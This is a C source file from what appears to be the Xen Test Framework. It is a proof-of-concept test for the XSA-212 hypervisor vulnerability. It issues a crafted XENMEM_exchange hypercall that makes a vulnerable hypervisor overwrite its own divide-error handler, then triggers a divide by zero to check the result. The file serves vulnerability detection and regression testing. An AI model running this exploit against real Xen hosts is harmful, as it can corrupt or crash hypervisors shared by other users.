main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-212 PoC";

void test_main(void)
{
    unsigned int i;
    desc_ptr idtr;

    sidt(&idtr);

    /* Exchange away PFN 0. */
    unsigned long in_extents[] = { pfn_to_mfn(0) };
    unsigned long pxt = _u(in_extents);
    unsigned long exchanged_so_far = idtr.base / 8;

    struct xen_memory_exchange mx =
    {
        .in = {
            .extent_start = _p(pxt - idtr.base),
            .nr_extents = exchanged_so_far + 1,
            .extent_order = PAGE_ORDER_4K,
            .mem_flags = 0,
            .domid = DOMID_SELF,
        },
        .out = {
            .extent_start = NULL,
            .nr_extents = exchanged_so_far + 1,
            .extent_order = PAGE_ORDER_4K,
            .mem_flags = 32,
            .domid = DOMID_SELF,
        },
        .nr_exchanged = exchanged_so_far,
    };

    /*
     * This test can race with being rescheduled across pcpus.  Retry up to
     * three times if XENMEM_exchange looks vulnerable, but Xen didn't crash
     * when trying to handle the divide error.
     */
    for ( i = 0; i < 3; ++i )
    {
        int rc = hypercall_memory_op(XENMEM_exchange, &mx);

        if ( rc == 0 )
            xtf_failure("Fail: XENMEM_exchange returned success\n");
        else
            printk("XENMEM_exchange returned %d\n", rc);

        printk("Probably %svulnerable to XSA-212\n", rc == 0 ? "" : "not ");

        unsigned int hi = 0, low = 1;
        exinfo_t fault = 0;

        printk("Attempting to confirm...\n");

        asm volatile ("1: div %%ecx; 2:"
                      _ASM_EXTABLE_HANDLER(1b, 2b, %P[rec])
                      : "+&a" (low), "+&d" (hi), "+D" (fault)
                      : "c" (0), [rec] "p" (ex_record_fault_edi));

        if ( fault == EXINFO_SYM(DE, 0) )
        {
            if ( rc == 0 )
            {
                printk("Apparent clobber, but got #DE.  Retrying...\n");
                continue;
            }
            xtf_success("Success: Got #DE as expected\n");
        }
        else
            xtf_error("  Error: Unexpected fault %#x, %pe\n", fault, _p(fault));

        break;
    }
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */